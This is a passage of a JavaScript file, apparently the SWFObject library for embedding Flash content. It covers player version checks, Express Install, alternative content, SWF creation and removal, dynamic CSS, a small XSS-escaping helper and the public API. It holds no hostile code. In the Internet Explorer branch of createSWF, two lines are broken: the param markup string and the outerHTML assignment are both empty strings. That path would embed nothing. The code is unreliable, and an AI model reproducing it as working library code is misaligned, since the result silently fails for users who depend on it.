301 | - fp 6.0.65 or higher
302 | - Win/Mac OS only
303 | - no Webkit engines older than version 312
304 | */
305 | function canExpressInstall() {
306 | return !isExpressInstallActive && hasPlayerVersion("6.0.65") && (ua.win || ua.mac) && !(ua.wk && ua.wk < 312);
307 | }
308 |
309 | /* Show the Adobe Express Install dialog
310 | - Reference: http://www.adobe.com/cfusion/knowledgebase/index.cfm?id=6a253b75
311 | */
312 | function showExpressInstall(att, par, replaceElemIdStr, callbackFn) {
313 | isExpressInstallActive = true;
314 | storedCallbackFn = callbackFn || null;
315 | storedCallbackObj = {success:false, id:replaceElemIdStr};
316 | var obj = getElementById(replaceElemIdStr);
317 | if (obj) {
318 | if (obj.nodeName == "OBJECT") { // static publishing
319 | storedAltContent = abstractAltContent(obj);
320 | storedAltContentId = null;
321 | }
322 | else { // dynamic publishing
323 | storedAltContent = obj;
324 | storedAltContentId = replaceElemIdStr;
325 | }
326 | att.id = EXPRESS_INSTALL_ID;
327 | if (typeof att.width == UNDEF || (!/%$/.test(att.width) && parseInt(att.width, 10) < 310)) { att.width = "310"; }
328 | if (typeof att.height == UNDEF || (!/%$/.test(att.height) && parseInt(att.height, 10) < 137)) { att.height = "137"; }
329 | doc.title = doc.title.slice(0, 47) + " - Flash Player Installation";
330 | var pt = ua.ie && ua.win ? "ActiveX" : "PlugIn",
331 | fv = "MMredirectURL=" + encodeURI(win.location).toString().replace(/&/g,"%26") + "&MMplayerType=" + pt + "&MMdoctitle=" + doc.title;
332 | if (typeof par.flashvars != UNDEF) {
333 | par.flashvars += "&" + fv;
334 | }
335 | else {
336 | par.flashvars = fv;
337 | }
338 | // IE only: when a SWF is loading (AND: not available in cache) wait for the readyState of the object element to become 4 before removing it,
339 | // because you cannot properly cancel a loading SWF file without breaking browser load references, also obj.onreadystatechange doesn't work
340 | if (ua.ie && ua.win && obj.readyState != 4) {
341 | var newObj = createElement("div");
342 | replaceElemIdStr += "SWFObjectNew";
343 | newObj.setAttribute("id", replaceElemIdStr);
344 | obj.parentNode.insertBefore(newObj, obj); // insert placeholder div that will be replaced by the object element that loads expressinstall.swf
345 | obj.style.display = "none";
346 | (function(){
347 | if (obj.readyState == 4) {
348 | obj.parentNode.removeChild(obj);
349 | }
350 | else {
351 | setTimeout(arguments.callee, 10);
352 | }
353 | })();
354 | }
355 | createSWF(att, par, replaceElemIdStr);
356 | }
357 | }
358 |
359 | /* Functions to abstract and display alternative content
360 | */
361 | function displayAltContent(obj) {
362 | if (ua.ie && ua.win && obj.readyState != 4) {
363 | // IE only: when a SWF is loading (AND: not available in cache) wait for the readyState of the object element to become 4 before removing it,
364 | // because you cannot properly cancel a loading SWF file without breaking browser load references, also obj.onreadystatechange doesn't work
365 | var el = createElement("div");
366 | obj.parentNode.insertBefore(el, obj); // insert placeholder div that will be replaced by the alternative content
367 | el.parentNode.replaceChild(abstractAltContent(obj), el);
368 | obj.style.display = "none";
369 | (function(){
370 | if (obj.readyState == 4) {
371 | obj.parentNode.removeChild(obj);
372 | }
373 | else {
374 | setTimeout(arguments.callee, 10);
375 | }
376 | })();
377 | }
378 | else {
379 | obj.parentNode.replaceChild(abstractAltContent(obj), obj);
380 | }
381 | }
382 |
383 | function abstractAltContent(obj) {
384 | var ac = createElement("div");
385 | if (ua.win && ua.ie) {
386 | ac.innerHTML = obj.innerHTML;
387 | }
388 | else {
389 | var nestedObj = obj.getElementsByTagName(OBJECT)[0];
390 | if (nestedObj) {
391 | var c = nestedObj.childNodes;
392 | if (c) {
393 | var cl = c.length;
394 | for (var i = 0; i < cl; i++) {
395 | if (!(c[i].nodeType == 1 && c[i].nodeName == "PARAM") && !(c[i].nodeType == 8)) {
396 | ac.appendChild(c[i].cloneNode(true));
397 | }
398 | }
399 | }
400 | }
401 | }
402 | return ac;
403 | }
404 |
405 | /* Cross-browser dynamic SWF creation
406 | */
407 | function createSWF(attObj, parObj, id) {
408 | var r, el = getElementById(id);
409 | if (ua.wk && ua.wk < 312) { return r; }
410 | if (el) {
411 | if (typeof attObj.id == UNDEF) { // if no 'id' is defined for the object element, it will inherit the 'id' from the alternative content
412 | attObj.id = id;
413 | }
414 | if (ua.ie && ua.win) { // Internet Explorer + the HTML object element + W3C DOM methods do not combine: fall back to outerHTML
415 | var att = "";
416 | for (var i in attObj) {
417 | if (attObj[i] != Object.prototype[i]) { // filter out prototype additions from other potential libraries
418 | if (i.toLowerCase() == "data") {
419 | parObj.movie = attObj[i];
420 | }
421 | else if (i.toLowerCase() == "styleclass") { // 'class' is an ECMA4 reserved keyword
422 | att += ' class="' + attObj[i] + '"';
423 | }
424 | else if (i.toLowerCase() != "classid") {
425 | att += ' ' + i + '="' + attObj[i] + '"';
426 | }
427 | }
428 | }
429 | var par = "";
430 | for (var j in parObj) {
431 | if (parObj[j] != Object.prototype[j]) { // filter out prototype additions from other potential libraries
432 | par += '';
433 | }
434 | }
435 | el.outerHTML = '';
436 | objIdArr[objIdArr.length] = attObj.id; // stored to fix object 'leaks' on unload (dynamic publishing only)
437 | r = getElementById(attObj.id);
438 | }
439 | else { // well-behaving browsers
440 | var o = createElement(OBJECT);
441 | o.setAttribute("type", FLASH_MIME_TYPE);
442 | for (var m in attObj) {
443 | if (attObj[m] != Object.prototype[m]) { // filter out prototype additions from other potential libraries
444 | if (m.toLowerCase() == "styleclass") { // 'class' is an ECMA4 reserved keyword
445 | o.setAttribute("class", attObj[m]);
446 | }
447 | else if (m.toLowerCase() != "classid") { // filter out IE specific attribute
448 | o.setAttribute(m, attObj[m]);
449 | }
450 | }
451 | }
452 | for (var n in parObj) {
453 | if (parObj[n] != Object.prototype[n] && n.toLowerCase() != "movie") { // filter out prototype additions from other potential libraries and IE specific param element
454 | createObjParam(o, n, parObj[n]);
455 | }
456 | }
457 | el.parentNode.replaceChild(o, el);
458 | r = o;
459 | }
460 | }
461 | return r;
462 | }
463 |
464 | function createObjParam(el, pName, pValue) {
465 | var p = createElement("param");
466 | p.setAttribute("name", pName);
467 | p.setAttribute("value", pValue);
468 | el.appendChild(p);
469 | }
470 |
471 | /* Cross-browser SWF removal
472 | - Especially needed to safely and completely remove a SWF in Internet Explorer
473 | */
474 | function removeSWF(id) {
475 | var obj = getElementById(id);
476 | if (obj && obj.nodeName == "OBJECT") {
477 | if (ua.ie && ua.win) {
478 | obj.style.display = "none";
479 | (function(){
480 | if (obj.readyState == 4) {
481 | removeObjectInIE(id);
482 | }
483 | else {
484 | setTimeout(arguments.callee, 10);
485 | }
486 | })();
487 | }
488 | else {
489 | obj.parentNode.removeChild(obj);
490 | }
491 | }
492 | }
493 |
494 | function removeObjectInIE(id) {
495 | var obj = getElementById(id);
496 | if (obj) {
497 | for (var i in obj) {
498 | if (typeof obj[i] == "function") {
499 | obj[i] = null;
500 | }
501 | }
502 | obj.parentNode.removeChild(obj);
503 | }
504 | }
505 |
506 | /* Functions to optimize JavaScript compression
507 | */
508 | function getElementById(id) {
509 | var el = null;
510 | try {
511 | el = doc.getElementById(id);
512 | }
513 | catch (e) {}
514 | return el;
515 | }
516 |
517 | function createElement(el) {
518 | return doc.createElement(el);
519 | }
520 |
521 | /* Updated attachEvent function for Internet Explorer
522 | - Stores attachEvent information in an Array, so on unload the detachEvent functions can be called to avoid memory leaks
523 | */
524 | function addListener(target, eventType, fn) {
525 | target.attachEvent(eventType, fn);
526 | listenersArr[listenersArr.length] = [target, eventType, fn];
527 | }
528 |
529 | /* Flash Player and SWF content version matching
530 | */
531 | function hasPlayerVersion(rv) {
532 | var pv = ua.pv, v = rv.split(".");
533 | v[0] = parseInt(v[0], 10);
534 | v[1] = parseInt(v[1], 10) || 0; // supports short notation, e.g. "9" instead of "9.0.0"
535 | v[2] = parseInt(v[2], 10) || 0;
536 | return (pv[0] > v[0] || (pv[0] == v[0] && pv[1] > v[1]) || (pv[0] == v[0] && pv[1] == v[1] && pv[2] >= v[2])) ? true : false;
537 | }
538 |
539 | /* Cross-browser dynamic CSS creation
540 | - Based on Bobby van der Sluis' solution: http://www.bobbyvandersluis.com/articles/dynamicCSS.php
541 | */
542 | function createCSS(sel, decl, media, newStyle) {
543 | if (ua.ie && ua.mac) { return; }
544 | var h = doc.getElementsByTagName("head")[0];
545 | if (!h) { return; } // to also support badly authored HTML pages that lack a head element
546 | var m = (media && typeof media == "string") ? media : "screen";
547 | if (newStyle) {
548 | dynamicStylesheet = null;
549 | dynamicStylesheetMedia = null;
550 | }
551 | if (!dynamicStylesheet || dynamicStylesheetMedia != m) {
552 | // create dynamic stylesheet + get a global reference to it
553 | var s = createElement("style");
554 | s.setAttribute("type", "text/css");
555 | s.setAttribute("media", m);
556 | dynamicStylesheet = h.appendChild(s);
557 | if (ua.ie && ua.win && typeof doc.styleSheets != UNDEF && doc.styleSheets.length > 0) {
558 | dynamicStylesheet = doc.styleSheets[doc.styleSheets.length - 1];
559 | }
560 | dynamicStylesheetMedia = m;
561 | }
562 | // add style rule
563 | if (ua.ie && ua.win) {
564 | if (dynamicStylesheet && typeof dynamicStylesheet.addRule == OBJECT) {
565 | dynamicStylesheet.addRule(sel, decl);
566 | }
567 | }
568 | else {
569 | if (dynamicStylesheet && typeof doc.createTextNode != UNDEF) {
570 | dynamicStylesheet.appendChild(doc.createTextNode(sel + " {" + decl + "}"));
571 | }
572 | }
573 | }
574 |
575 | function setVisibility(id, isVisible) {
576 | if (!autoHideShow) { return; }
577 | var v = isVisible ? "visible" : "hidden";
578 | if (isDomLoaded && getElementById(id)) {
579 | getElementById(id).style.visibility = v;
580 | }
581 | else {
582 | createCSS("#" + id, "visibility:" + v);
583 | }
584 | }
585 |
586 | /* Filter to avoid XSS attacks
587 | */
588 | function urlEncodeIfNecessary(s) {
589 | var regex = /[\\\"<>\.;]/;
590 | var hasBadChars = regex.exec(s) != null;
591 | return hasBadChars && typeof encodeURIComponent != UNDEF ? encodeURIComponent(s) : s;
592 | }
593 |
594 | /* Release memory to avoid memory leaks caused by closures, fix hanging audio/video threads and force open sockets/NetConnections to disconnect (Internet Explorer only)
595 | */
596 | var cleanup = function() {
597 | if (ua.ie && ua.win) {
598 | window.attachEvent("onunload", function() {
599 | // remove listeners to avoid memory leaks
600 | var ll = listenersArr.length;
601 | for (var i = 0; i < ll; i++) {
602 | listenersArr[i][0].detachEvent(listenersArr[i][1], listenersArr[i][2]);
603 | }
604 | // cleanup dynamically embedded objects to fix audio/video threads and force open sockets and NetConnections to disconnect
605 | var il = objIdArr.length;
606 | for (var j = 0; j < il; j++) {
607 | removeSWF(objIdArr[j]);
608 | }
609 | // cleanup library's main closures to avoid memory leaks
610 | for (var k in ua) {
611 | ua[k] = null;
612 | }
613 | ua = null;
614 | for (var l in swfobject) {
615 | swfobject[l] = null;
616 | }
617 | swfobject = null;
618 | });
619 | }
620 | }();
621 |
622 | return {
623 | /* Public API
624 | - Reference: http://code.google.com/p/swfobject/wiki/documentation
625 | */
626 | registerObject: function(objectIdStr, swfVersionStr, xiSwfUrlStr, callbackFn) {
627 | if (ua.w3 && objectIdStr && swfVersionStr) {
628 | var regObj = {};
629 | regObj.id = objectIdStr;
630 | regObj.swfVersion = swfVersionStr;
631 | regObj.expressInstall = xiSwfUrlStr;
632 | regObj.callbackFn = callbackFn;
633 | regObjArr[regObjArr.length] = regObj;
634 | setVisibility(objectIdStr, false);
635 | }
636 | else if (callbackFn) {
637 | callbackFn({success:false, id:objectIdStr});
638 | }
639 | },
640 |
641 | getObjectById: function(objectIdStr) {
642 | if (ua.w3) {
643 | return getObjectById(objectIdStr);
644 | }
645 | },
646 |
647 | embedSWF: function(swfUrlStr, replaceElemIdStr, widthStr, heightStr, swfVersionStr, xiSwfUrlStr, flashvarsObj, parObj, attObj, callbackFn) {
648 | var callbackObj = {success:false, id:replaceElemIdStr};
649 | if (ua.w3 && !(ua.wk && ua.wk < 312) && swfUrlStr && replaceElemIdStr && widthStr && heightStr && swfVersionStr) {
650 | setVisibility(replaceElemIdStr, false);
651 | addDomLoadEvent(function() {
652 | widthStr += ""; // auto-convert to string
653 | heightStr += "";
654 | var att = {};
655 | if (attObj && typeof attObj === OBJECT) {
656 | for (var i in attObj) { // copy object to avoid the use of references, because web authors often reuse attObj for multiple SWFs
657 | att[i] = attObj[i];
658 | }
659 | }
660 | att.data = swfUrlStr;
661 | att.width = widthStr;
662 | att.height = heightStr;
663 | var par = {};
664 | if (parObj && typeof parObj === OBJECT) {
665 | for (var j in parObj) { // copy object to avoid the use of references, because web authors often reuse parObj for multiple SWFs
666 | par[j] = parObj[j];
667 | }
668 | }
669 | if (flashvarsObj && typeof flashvarsObj === OBJECT) {
670 | for (var k in flashvarsObj) { // copy object to avoid the use of references, because web authors often reuse flashvarsObj for multiple SWFs
671 | if (typeof par.flashvars != UNDEF) {
672 | par.flashvars += "&" + k + "=" + flashvarsObj[k];
673 | }
674 | else {
675 | par.flashvars = k + "=" + flashvarsObj[k];
676 | }
677 | }
678 | }
679 | if (hasPlayerVersion(swfVersionStr)) { // create SWF
680 | var obj = createSWF(att, par, replaceElemIdStr);
681 | if (att.id == replaceElemIdStr) {
682 | setVisibility(replaceElemIdStr, true);
683 | }
684 | callbackObj.success = true;
685 | callbackObj.ref = obj;
686 | }
687 | else if (xiSwfUrlStr && canExpressInstall()) { // show Adobe Express Install
688 | att.data = xiSwfUrlStr;
689 | showExpressInstall(att, par, replaceElemIdStr, callbackFn);
690 | return;
691 | }
692 | else { // show alternative content
693 | setVisibility(replaceElemIdStr, true);
694 | }
695 | if (callbackFn) { callbackFn(callbackObj); }
696 | });
697 | }
698 | else if (callbackFn) { callbackFn(callbackObj); }
699 | },
700 |
701 | switchOffAutoHideShow: function() {
702 | autoHideShow = false;
703 | },
704 |
705 | ua: ua,
706 |
707 | getFlashPlayerVersion: function() {
708 | return { major:ua.pv[0], minor:ua.pv[1], release:ua.pv[2] };
709 | },
710 |
711 | hasFlashPlayerVersion: hasPlayerVersion,
712 |
713 | createSWF: function(attObj, parObj, replaceElemIdStr) {
714 | if (ua.w3) {
715 | return createSWF(attObj, parObj, replaceElemIdStr);
716 | }
717 | else {
718 | return undefined;
719 | }
720 | },
721 |
722 | showExpressInstall: function(att, par, replaceElemIdStr, callbackFn) {
723 | if (ua.w3 && canExpressInstall()) {
724 | showExpressInstall(att, par, replaceElemIdStr, callbackFn);
725 | }
726 | },
727 |
728 | removeSWF: function(objElemIdStr) {
729 | if (ua.w3) {
730 | removeSWF(objElemIdStr);
731 | }
732 | },
733 |
734 | createCSS: function(selStr, declStr, mediaStr, newStyleBoolean) {
735 | if (ua.w3) {
736 | createCSS(selStr, declStr, mediaStr, newStyleBoolean);
737 | }
738 | },
739 |
740 | addDomLoadEvent: addDomLoadEvent,
741 |
742 | addLoadEvent: addLoadEvent,
743 |
744 | getQueryParamValue: function(param) {
745 | var q = doc.location.search || doc.location.hash;
746 | if (q) {
747 | if (/\?/.test(q)) { q = q.split("?")[1]; } // strip question mark
748 | if (param == null) {
749 | return urlEncodeIfNecessary(q);
750 | }
751 | var pairs = q.split("&");
752 | for (var i = 0; i < pairs.length; i++) {
753 | if (pairs[i].substring(0, pairs[i].indexOf("=")) == param) {
754 | return urlEncodeIfNecessary(pairs[i].substring((pairs[i].indexOf("=") + 1)));
755 | }
756 | }
757 | }
758 | return "";
759 | },
760 |
761 | // For internal usage only
762 | expressInstallCallback: function() {
763 | if (isExpressInstallActive) {
764 | var obj = getElementById(EXPRESS_INSTALL_ID);
765 | if (obj && storedAltContent) {
766 | obj.parentNode.replaceChild(storedAltContent, obj);
767 | if (storedAltContentId) {
768 | setVisibility(storedAltContentId, true);
769 | if (ua.ie && ua.win) { storedAltContent.style.display = "block"; }
770 | }
771 | if (storedCallbackFn) { storedCallbackFn(storedCallbackObj); }
772 | }
773 | isExpressInstallActive = false;
774 | }
775 | }
776 | };
777 | }();
778 |
--------------------------------------------------------------------------------